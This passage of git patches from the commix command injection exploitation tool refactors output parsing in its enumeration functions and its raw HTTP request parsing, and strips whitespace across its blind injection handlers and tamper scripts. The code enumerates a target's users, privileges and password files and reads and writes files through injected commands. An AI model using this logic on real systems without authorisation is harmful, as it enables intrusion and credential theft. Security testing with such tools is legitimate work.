evaluation technique (i.e. command execution output). * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 95eed537bc..f7a8783895 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -47,7 +47,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. ps_version = eb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version).replace(settings.SINGLE_WHITESPACE, "", 1) + ps_version = "".join(str(p) for p in ps_version) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -69,7 +69,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) + shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -126,7 +126,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. target_arch = eb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch).replace(settings.SINGLE_WHITESPACE, "", 1) + target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -153,7 +153,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = eb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account).replace(settings.SINGLE_WHITESPACE, "", 1) + cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -178,7 +178,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) + shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -244,7 +244,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) + shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 13fc592cd8..6ba8ca1abf 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -380,7 +380,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) + shell = "".join(str(p) for p in shell) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index efb42160b0..44692eb945 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -252,6 +252,10 @@ def injection_results(response, TAG, cmd): html_data = re.sub("\n", new_line, html_data) shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) try: + if len(re.split(TAG + "(.*)" + TAG, shell[0])) != 0: + shell = re.findall(r"" + new_line + "(.*)" + new_line + "", \ + re.split(TAG + "(.*)" + TAG, \ + re.split(TAG + "(.*)" + TAG, shell[0])[0])[0]) shell = shell[0].replace(new_line, "\n").rstrip().lstrip() except IndexError: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 1e62e347b9..fe5cfbfb65 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d1a35509b4fbf3453efd8b2851a2acce117b8b91 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 9 Jul 2023 10:33:06 +0300 Subject: [PATCH 327/560] Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/parser.py | 23 +++++++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 15 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index fc52cb9128..9ab158dee8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 844a3043d0..a8156b5cce 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -68,10 +68,6 @@ def invalid_data(request): info_msg = "Parsing target " request_file = menu.options.logfile - info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if not os.path.exists(request_file): print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." @@ -141,10 +137,10 @@ def invalid_data(request): else: invalid_data(request_file) - request_url = "".join([str(i) for i in request_url]) + request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" - prefix = "http://" + scheme = "http://" for line in request.splitlines(): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) @@ -158,7 +154,7 @@ def invalid_data(request): if re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: - prefix = "https://" + scheme = "https://" if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() menu.options.auth_type = auth_provided[0].lower() @@ -186,16 +182,23 @@ def invalid_data(request): # Extra headers menu.options.headers = extra_headers - # Target URL if not menu.options.host: invalid_data(request_file) else: - menu.options.url = prefix + menu.options.host + request_url + if len(_urllib.parse.urlparse(request_url).scheme) == 0: + request_url = scheme + request_url + if not menu.options.host in request_url: + request_url = request_url.replace(scheme, scheme + menu.options.host) + request_url = checks.check_http_s(request_url) + info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " + sys.stdout.write(settings.print_info_msg(info_msg)) + sys.stdout.flush() + menu.options.url = request_url if single_request: print(settings.SINGLE_WHITESPACE) if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: - sub_content = http_method + settings.SINGLE_WHITESPACE + prefix + menu.options.host + request_url + sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url print(settings.print_sub_content(sub_content)) if menu.options.cookie: sub_content = "Cookie: " + menu.options.cookie diff --git a/src/utils/settings.py b/src/utils/settings.py index fe5cfbfb65..88b6f5e16c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9fb6103101aec7f0facc34c289c750bf7dd9ccbd Mon Sep 17 00:00:00 2001 From: 0xFred <> Date: Mon, 10 Jul 2023 10:10:34 +0200 Subject: [PATCH 328/560] removed ugly tabs & spaces --- commix.py | 8 +- src/core/convert.py | 2 +- .../techniques/time_based/tb_enumeration.py | 30 +- .../techniques/time_based/tb_file_access.py | 12 +- .../blind/techniques/time_based/tb_handler.py | 70 ++-- .../techniques/time_based/tb_injector.py | 82 ++-- .../techniques/time_based/tb_payloads.py | 280 ++++++------- src/core/injections/controller/checks.py | 384 +++++++++--------- src/core/injections/controller/controller.py | 118 +++--- src/core/injections/controller/parser.py | 30 +- .../injections/controller/shell_options.py | 26 +- .../techniques/classic/cb_enumeration.py | 30 +- .../techniques/classic/cb_file_access.py | 10 +- .../techniques/classic/cb_handler.py | 82 ++-- .../techniques/classic/cb_injector.py | 44 +- .../techniques/classic/cb_payloads.py | 50 +-- .../techniques/eval_based/eb_enumeration.py | 42 +- .../techniques/eval_based/eb_file_access.py | 12 +- .../techniques/eval_based/eb_handler.py | 62 +-- .../techniques/eval_based/eb_injector.py | 34 +- .../techniques/eval_based/eb_payloads.py | 46 +-- .../techniques/file_based/fb_enumeration.py | 28 +- .../techniques/file_based/fb_file_access.py | 10 +- .../techniques/file_based/fb_handler.py | 96 ++--- .../techniques/file_based/fb_injector.py | 60 +-- .../techniques/file_based/fb_payloads.py | 20 +- .../tempfile_based/tfb_enumeration.py | 8 +- .../tempfile_based/tfb_file_access.py | 12 +- .../techniques/tempfile_based/tfb_handler.py | 96 ++--- .../techniques/tempfile_based/tfb_injector.py | 78 ++-- .../techniques/tempfile_based/tfb_payloads.py | 86 ++-- src/core/main.py | 76 ++-- src/core/modules/modules_handler.py | 6 +- src/core/requests/authentication.py | 56 +-- src/core/requests/headers.py | 48 +-- src/core/requests/parameters.py | 60 +-- src/core/requests/proxy.py | 4 +- src/core/requests/redirection.py | 24 +- src/core/requests/requests.py | 118 +++--- src/core/requests/tor.py | 26 +- src/core/shells/bind_tcp.py | 112 ++--- src/core/shells/reverse_tcp.py | 146 +++---- src/core/tamper/backslashes.py | 4 +- src/core/tamper/backticks.py | 4 +- src/core/tamper/base64encode.py | 4 +- src/core/tamper/caret.py | 6 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 4 +- src/core/tamper/hexencode.py | 6 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 6 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/rev.py | 6 +- src/core/tamper/singlequotes.py | 4 +- src/core/tamper/slash2env.py | 4 +- src/core/tamper/sleep2timeout.py | 6 +- src/core/tamper/sleep2usleep.py | 8 +- src/core/tamper/space2htab.py | 4 +- src/core/tamper/space2ifs.py | 8 +- src/core/tamper/space2plus.py | 8 +- src/core/tamper/space2vtab.py | 6 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 4 +- src/thirdparty/colorama/ansi.py | 2 +- src/thirdparty/flatten_json/__init__.py | 2 +- src/thirdparty/flatten_json/flatten_json.py | 2 +- src/thirdparty/odict/__init__.py | 2 +- src/utils/common.py | 22 +- src/utils/crawler.py | 32 +- src/utils/install.py | 42 +- src/utils/logs.py | 14 +- src/utils/menu.py | 134 +++--- src/utils/purge.py | 44 +- src/utils/requirments.py | 4 +- src/utils/session_handler.py | 38 +- src/utils/settings.py | 122 +++--- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 32 +- src/utils/version.py | 2 +- 79 files changed, 1610 insertions(+), 1610 deletions(-) diff --git a/commix.py b/commix.py index 538de6f371..2106755229 100755 --- a/commix.py +++ b/commix.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -35,14 +35,14 @@ def main(): main() except SystemExit: import sys - raise SystemExit() + raise SystemExit() except KeyboardInterrupt: import sys - raise SystemExit() + raise SystemExit() except IndentationError as err_msg: from src.utils import settings print(settings.print_critical_msg(err_msg) + ".\n") - raise SystemExit() + raise SystemExit() except: from src.utils import common common.unhandled_exception() diff --git a/src/core/convert.py b/src/core/convert.py index c14585bf28..7f218c9f50 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -15,7 +15,7 @@ import codecs import binascii -from src.utils import settings +from src.utils import settings from src.thirdparty import six """ diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 45eb92f62c..52f610d253 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -31,7 +31,7 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): +def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.PS_VERSION # if alter_shell: @@ -45,7 +45,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output checks.print_ps_version(ps_version, filename, _) - + """ Hostname enumeration """ @@ -65,10 +65,10 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h Retrieve system information """ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False + _ = False if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS + cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -131,8 +131,8 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT + else: + cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, shell, vuln_parameter) @@ -146,7 +146,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - cmd = settings.SYS_USERS + cmd = settings.SYS_USERS if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS cmd = cmd + settings.WIN_REPLACE_WHITESPACE @@ -161,7 +161,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output = "" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_users = output + sys_users = output checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) """ @@ -169,16 +169,16 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False - cmd = settings.SYS_PASSES + cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) _ = True if output == False: output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) + session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output + sys_passes = output checks.print_passes(sys_passes, filename, _, alter_shell) """ @@ -195,7 +195,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 - checks.print_single_os_cmd(cmd, output) + checks.print_single_os_cmd(cmd, output) return check_how_long, output """ @@ -205,7 +205,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h def reset(): if settings.ENUMERATION_DONE: settings.ENUMERATION_DONE = False - + reset() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): @@ -222,7 +222,7 @@ def reset(): hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) reset() - if menu.options.current_user: + if menu.options.current_user: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) checks.print_enumenation().current_user_msg() diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 3756ebc2cd..6d69f08044 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -43,13 +43,13 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) else: - cmd = checks.write_content(content, dest_to_write) + cmd = checks.write_content(content, dest_to_write) cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) @@ -75,7 +75,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) - + """ Read a file from the target host. """ @@ -111,7 +111,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_read: + if menu.options.file_read: file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index a7da3ea442..1d17bdec35 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -45,7 +45,7 @@ The "time-based" injection technique handler. """ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - + counter = 1 num_of_chars = 1 vp_flag = True @@ -63,7 +63,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--maxlen" option. if menu.options.maxlen: settings.MAXLEN = maxlen = menu.options.maxlen - + # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." @@ -107,14 +107,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" - + # Define alter shell alter_shell = menu.options.alter_shell - + # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 - + for output_length in range(1, int(tag_length)): try: if alter_shell: @@ -130,7 +130,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) @@ -199,7 +199,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False - how_long_statistic = [] + how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True @@ -213,7 +213,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r") while True: message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = common.read_input(message, default="C", check_batch=True) + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False @@ -227,7 +227,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: common.invalid_option(proceed_option) pass - + if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" @@ -256,14 +256,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Set the original delay time original_how_long = how_long - + # Check for false positive resutls how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 @@ -280,7 +280,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - continue + continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" @@ -325,12 +325,12 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: percent = ".. (" + str(float_percent) + "%)" break - - # Yaw, got shellz! + + # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : + (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): @@ -342,22 +342,22 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.LOAD_SESSION: possibly_vulnerable = False - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -372,14 +372,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -400,8 +400,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - + settings.LOAD_SESSION = False + # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: @@ -417,7 +417,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enumerate_again) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -434,14 +434,14 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - break + break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(file_access_again) + common.invalid_option(file_access_again) pass else: - if menu.file_access_options(): + if menu.file_access_options(): tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. @@ -484,7 +484,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: @@ -504,9 +504,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r break else: if no_result == True: - return False + return False else: - return True + return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() @@ -515,7 +515,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass # break - except (KeyboardInterrupt, SystemExit): + except (KeyboardInterrupt, SystemExit): raise except EOFError: @@ -524,7 +524,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise - + if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) @@ -544,7 +544,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) settings.TIME_RELATIVE_ATTACK = True - + if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 01115da147..94d987a73c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -49,7 +49,7 @@ def examine_requests(payload, 